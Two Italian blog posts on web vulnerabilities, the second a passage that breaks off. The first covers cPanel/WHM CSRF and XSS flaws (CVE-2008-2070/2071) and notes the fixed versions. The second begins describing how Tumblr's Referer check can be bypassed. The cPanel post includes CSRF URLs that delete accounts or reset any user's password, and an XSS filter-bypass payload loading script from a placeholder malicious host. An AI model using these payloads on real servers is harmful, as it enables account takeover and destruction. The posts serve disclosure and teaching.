cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.

Probabilmente molti avranno già letto l’alrticolo, Così nasce un worm internet pubblicato ieri  su Punto Informatico.
Eviterò quindi di fare una introduzione all’argomento passando invece subito alla parte più tecnica che non ha potuto trovare spazio su PI.

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
(Continua…)